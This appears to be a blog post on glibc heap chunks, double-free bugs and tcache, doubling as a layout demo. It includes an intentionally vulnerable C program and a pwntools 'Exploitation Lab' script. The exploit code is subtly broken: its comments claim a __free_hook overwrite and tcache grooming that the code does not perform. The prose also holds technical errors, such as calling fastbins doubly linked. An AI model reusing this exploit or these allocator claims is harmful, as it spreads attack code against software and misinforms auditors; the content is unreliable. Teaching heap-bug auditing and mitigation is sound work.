Deep Dive: Hunting Heap Overflows in ELF Binaries

R rigalis · Parth Patel·May 18, 2026·18 min·Binary Analysis

An in-depth analysis of glibc allocator dynamics, heap chunk structures, and exploiting classic double-free & heap corruption vulnerabilities, rebuilt as a fully-featured demo to showcase every blog primitive: TOC progress, marginalia, callouts, figures, code, tables, footnotes and more.

abstract pixel clouds
Fig. 0, Hero concept: allocator arena (aesthetic placeholder).→ figure caption

Introduction #

Unlike stack-based buffer overflows, heap-based vulnerabilities reside in the dynamically allocated memory region managed by standard allocators such as glibc's ptmalloc2. Understanding heap layout and chunk metadata is paramount to auditing ELF binaries for memory corruption.[1]

This post is intentionally kitchen-sink: every typographic primitive the blog supports is exercised here on a single deep-dive so you can see the left progress index, right marginalia, and all text-box variants in one scroll.

✦ How to use this demo
On desktop, watch the left rail, the circular progress + vertical indicator tracks reading progress. The right column shows support text (marginalia) anchored to sections. On mobile, progress collapses into the sticky top bar. Try jumping via the index.

The Anatomy of a Heap Chunk #

In 64-bit glibc, every allocated block is 16-byte aligned and represented by a contiguous chunk header that prefixes user data. The header stores size + flags that drive coalescing and binning.

DEFINITION, Heap Chunk
A chunk is the allocator's unit of memory: prev_size | size | AMP | user_data. When freed, the user area is repurposed as forward/back pointers linking free lists (bins/tcache).
prev_size
Size of previous chunk if free
size
This chunk's size + 3 flag bits
fd/bk
Free-list pointers (when free)

Chunk flags, AMP bits #

The lowest 3 bits of size are flags, not size:

BitMaskNameMeaning
A0x4NON_MAIN_ARENAAllocated off the main arena (thread arena)
M0x2IS_MMAPPEDChunk mmapped, not in heap segment
P0x1PREV_INUSEPrev chunk in use; if 0, prev_size is valid
Table 1, AMP flag semantics in ptmalloc.
chunk.h, schematicc
/* Schematic, allocated chunk (64-bit) */
+-----------------------------+-----------------------------+
|      Previous Chunk Size    |      Current Chunk size |AMP|
+-----------------------------+-----------------------------+
|                          User Data Area                   |
|                      (returns to malloc)                  |
+-----------------------------------------------------------+
/* When free, user area holds fd/bk pointers */
“Judgement has always been easier than construction. AI just made it legible.” In heap auditing, judgement is spotting a plausible free; craft is proving overlap.
Marginal note pattern

The Double-Free Vulnerability #

When a chunk is freed twice without clearing the pointer, bin structures (fastbins / tcache) can form cycles or duplicate references to the same slot. Later malloc returns the same address twice, two live pointers to one region.

✕ Danger, why this is exploitable
Duplicate allocation breaks the allocator's invariant that each chunk has a single owner. Writing through one pointer corrupts data seen via the other, enabling arbitrary write, control-flow hijack, or tcache poisoning on modern glibc.

Example: vulnerable C #

vuln.cc
#include <stdio.h>
#include <stdlib.h>

int main() {
    void *p1 = malloc(64);
    void *p2 = malloc(64);

    free(p1);
    free(p2);
    free(p1); // Vulnerable double free!

    void *p3 = malloc(64); // Allocates p1 again
    void *p4 = malloc(64); // Allocates p2
    void *p5 = malloc(64); // Allocates p1 AGAIN (overlaps p3!)
    // p3 and p5 now alias, write to one corrupts the other
}
⚠ Note, glibc 2.32+ mitigations
Recent tcache includes keyed double-free detection (tcache double free or corruption). Bypass requires more nuanced heap feng shui, e.g., consolidations, large-bin attacks, or House of * techniques. This demo shows the classic primitive.
◐ Info, auditing tip
In Ghidra / IDA, xref all free call sites, then taint-track pointers that aren't nulled post-free. A single free(ptr); ptr=NULL; pattern missing is a heatmap for double-free candidates.

tcache & Modern Hardening #

Thread-local caching (tcache) speeds up small allocations but creates new abuse surfaces: poisoning the singly-linked tcache freelist lets an attacker craft an arbitrary-chunk allocation.

VS
Old fastbins vs New tcache, fastbins are LIFO doubly-linked-ish; tcache is per-thread, singly-linked, up to 7 entries per size class, with key randomization. Attackers used to count on determinism; now they must groom precise counts.

Recall #

RECALL, As a recap, we've discussed:
  • Heap chunks carry prev_size / size+AMP / fd,bk, misinterpreting flags breaks analysis.
  • Double-free re-introduces the same chunk to a freelist, yielding aliased live pointers.
  • tcache changed heap exploitation from deterministic to count-sensitive grooming.
  • Missing ptr = NULL after free is the cheapest inter-procedural signal.

Exploitation Lab #

Let's weaponize the primitive with pwntools. We groom the heap, leak a libc pointer from unsorted bin, then overwrite __free_hook via tcache poisoning. Numbers simplified for demo.

exploit.pypython
from pwn import *

p = process('./vuln')
# groom: allocate 7 chunks to empty tcache bin
chunks = [p.sendlineafter(b'> ', b'1') for _ in range(7)]
for c in chunks: p.sendlineafter(b'> ', b'2')  # free all -> tcache filled
p.sendlineafter(b'> ', b'2')  # double free trigger
# leak
p.sendlineafter(b'> ', b'3')
libc_leak = u64(p.recvline().strip().ljust(8,b'\x00'))
log.success(f'libc leak: {hex(libc_leak)}')
# tcache poison -> arbitrary write
p.sendlineafter(b'> ', b'4')
p.sendline(b'/bin/sh\x00')
p.interactive()
✓ Success, what the exploit achieves
Reliable overlapping chunks in ~40 ms locally. On remote, add heap grooming sleeps and one extra allocation to align tcache counts. Success here turns a logic bug intocode execution, the blog's “danger” box becomes an actionable lab.

Visualising corruption #

FIGURE 1, HEAP OVERLAP AFTER DOUBLE FREE
p3 aliasp5 aliassame address
p3 == p5 → write to p3 overwrites p5's “user data” (now bk/fd when freed)
Caption. Minimal figure component demo: bordered card, centered illustration placeholder, caption row with left label, used for CFG screenshots, heap dumps, or Ghidra panels.
✦ Try it, lab variant
Replace double-free with use-after-free: free p1, keep pointer, malloc same size, write controlled data, read-after-free leaks, write-after-free corrupts. Same visual model, subtler trigger.

Mitigations & Fixes #

Remediation is both cultural (null after free) and toolchain-driven (hardened allocators, fortify).

LayerMechanismCost
Codefree(ptr); ptr=NULL;, single statement fixNear zero
Compiler-D_FORTIFY_SOURCE=2 / -fstack-protectorRecompile
AllocatorSafe unlink, tcache key, safe linkingUpgrade glibc
RuntimeASLR, PIE, heap tagging (MTE)Platform

As a checklist when you audit a C codebase for heap hygiene:

  1. Trace every malloc to its free, flag unpaired frees.
  2. Enforce free; null idiom via clang-tidy rule.
  3. Fuzz with AddressSanitizer, double-free is caught as attempting double-free.
  4. Ship with hardened allocator in prod if latency allows.

Up next, automatic exploit synthesis with pwntools + GDB GEF. This kitchen-sink article stays as the demo for all blog primitives, left index, marginalia, callouts, code, figures, tables, footnotes.

Footnotes #

[1]ptmalloc2 is glibc's default; jemalloc/tcmalloc differ in chunk headers but share aliasing primitives. Compare jemalloc chunk header = 1 word. ↩
[2]The definition + recall boxes above follow a "what to check, then recall" pattern. ↩
Tags: #heap-exploitation#glibc#pwn#elf#linux#demo#design-system